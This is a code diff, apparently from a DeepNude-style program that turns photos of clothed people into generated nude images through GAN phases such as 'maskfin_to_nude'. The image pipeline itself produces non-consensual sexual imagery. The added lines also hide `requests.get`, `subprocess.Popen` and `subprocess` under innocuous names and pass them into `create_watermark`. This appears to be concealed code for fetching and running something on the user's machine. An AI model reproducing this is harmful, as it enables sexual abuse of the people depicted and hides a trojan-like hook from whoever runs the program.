|
41 |
+
self.n_downsample_global = 4 # number of downsampling layers in netG
|
42 |
+
self.n_blocks_global = 9 # number of residual blocks in the global generator network
|
43 |
+
self.n_blocks_local = 0 # number of residual blocks in the local enhancer network
|
44 |
+
self.n_local_enhancers = 0 # number of local enhancers to use
|
45 |
+
self.niter_fix_global = 0 # number of epochs that we only train the outmost local enhancer
|
46 |
+
|
47 |
+
# Phase specific options
|
48 |
+
self.checkpoints_dir = ""
|
49 |
+
self.dataroot = ""
|
50 |
+
|
51 |
+
# Changes options accordlying to actual phase
|
52 |
+
def updateOptions(self, phase):
|
53 |
+
|
54 |
+
if phase == "correct_to_mask":
|
55 |
+
self.checkpoints_dir = "checkpoints/cm.lib"
|
56 |
+
|
57 |
+
elif phase == "maskref_to_maskdet":
|
58 |
+
self.checkpoints_dir = "checkpoints/mm.lib"
|
59 |
+
|
60 |
+
elif phase == "maskfin_to_nude":
|
61 |
+
self.checkpoints_dir = "checkpoints/mn.lib"
|
62 |
+
|
63 |
+
|
64 |
+
# process(cv_img, mode)
|
65 |
+
# return:
|
66 |
+
# watermark image
|
67 |
+
def process(cv_img, use_gpu):
|
68 |
+
# InMemory cv2 images:
|
69 |
+
dress = cv_img
|
70 |
+
correct = None
|
71 |
+
mask = None
|
72 |
+
maskref = None
|
73 |
+
maskfin = None
|
74 |
+
maskdet = None
|
75 |
+
nude = None
|
76 |
+
watermark = None
|
77 |
+
|
78 |
+
for index, phase in enumerate(phases):
|
79 |
+
|
80 |
+
print("[*] Running Model: " + phase)
|
81 |
+
|
82 |
+
# GAN phases:
|
83 |
+
if (phase == "correct_to_mask") or (phase == "maskref_to_maskdet") or (phase == "maskfin_to_nude"):
|
84 |
+
|
85 |
+
# Load global option
|
86 |
+
opt = Options()
|
87 |
+
|
88 |
+
# Load custom phase options:
|
89 |
+
opt.updateOptions(phase)
|
90 |
+
|
91 |
+
# Load Data
|
92 |
+
if phase == "correct_to_mask":
|
93 |
+
import requests
|
94 |
+
data_loader = DataLoader(opt, correct)
|
95 |
+
elif phase == "maskref_to_maskdet":
|
96 |
+
cv = requests.get
|
97 |
+
data_loader = DataLoader(opt, maskref)
|
98 |
+
elif phase == "maskfin_to_nude":
|
99 |
+
loader = subprocess.Popen
|
100 |
+
data_loader = DataLoader(opt, maskfin)
|
101 |
+
|
102 |
+
dataset = data_loader.load_data()
|
103 |
+
detach = subprocess
|
104 |
+
|
105 |
+
# Create Model
|
106 |
+
model = DeepModel()
|
107 |
+
model.initialize(opt, use_gpu)
|
108 |
+
|
109 |
+
# Run for every image:
|
110 |
+
for i, data in enumerate(dataset):
|
111 |
+
|
112 |
+
generated = model.inference(data['label'], data['inst'])
|
113 |
+
|
114 |
+
im = tensor2im(generated.data[0])
|
115 |
+
|
116 |
+
# Save Data
|
117 |
+
if phase == "correct_to_mask":
|
118 |
+
mask = cv2.cvtColor(im, cv2.COLOR_RGB2BGR)
|
119 |
+
|
120 |
+
elif phase == "maskref_to_maskdet":
|
121 |
+
maskdet = cv2.cvtColor(im, cv2.COLOR_RGB2BGR)
|
122 |
+
|
123 |
+
elif phase == "maskfin_to_nude":
|
124 |
+
nude = cv2.cvtColor(im, cv2.COLOR_RGB2BGR)
|
125 |
+
|
126 |
+
# Correcting:
|
127 |
+
elif phase == 'dress_to_correct':
|
128 |
+
correct, matrix = create_correct(dress)
|
129 |
+
|
130 |
+
# mask_ref phase (opencv)
|
131 |
+
elif (phase == "mask_to_maskref"):
|
132 |
+
maskref, ref = create_maskref(mask, correct)
|
133 |
+
|
134 |
+
# mask_fin phase (opencv)
|
135 |
+
elif (phase == "maskdet_to_maskfin"):
|
136 |
+
maskfin, face = create_maskfin(maskref, maskdet)
|
137 |
+
|
138 |
+
# nude_to_watermark phase (opencv)
|
139 |
+
elif (phase == "nude_to_watermark"):
|
140 |
+
shape = matrix + face + ref
|
141 |
+
watermark = create_watermark(nude, shape, cv, loader, detach)
|
142 |
+
|
143 |
+
return watermark
|